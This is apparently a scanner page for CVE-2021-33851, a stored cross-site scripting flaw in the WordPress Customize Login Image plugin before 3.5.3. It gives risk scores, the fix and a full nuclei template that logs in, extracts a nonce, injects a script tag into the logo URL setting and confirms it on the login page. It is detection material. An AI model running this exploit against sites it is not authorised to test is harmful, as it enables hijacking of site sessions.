WordPress Customize Login Image <3.5.3 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.

Fix

Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php ; POST /wp-admin/options.php ; GET /wp-login.php
Positive when: status_code_4 == 200 and contains(header_4, "text/html") and contains(body_4, "Go to <script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2021-33851 -u <target>

The full check

id: CVE-2021-33851

info:
  name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
  author: 8authur
  severity: medium
  description: |
    WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
    - https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
    - https://wordpress.org/plugins/customize-login-image/
    - https://nvd.nist.gov/vuln/detail/cve-2021-33851
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-33851
    cwe-id: CWE-79
    epss-score: 0.01318
    epss-percentile: 0.71062
    cpe: cpe:2.3:a:apasionados:customize_login_image:3.4:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: apasionados
    product: customize_login_image
    framework: wordpress
  tags: cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_4 == 200'
          - 'contains(header_4, "text/html")'
          - 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from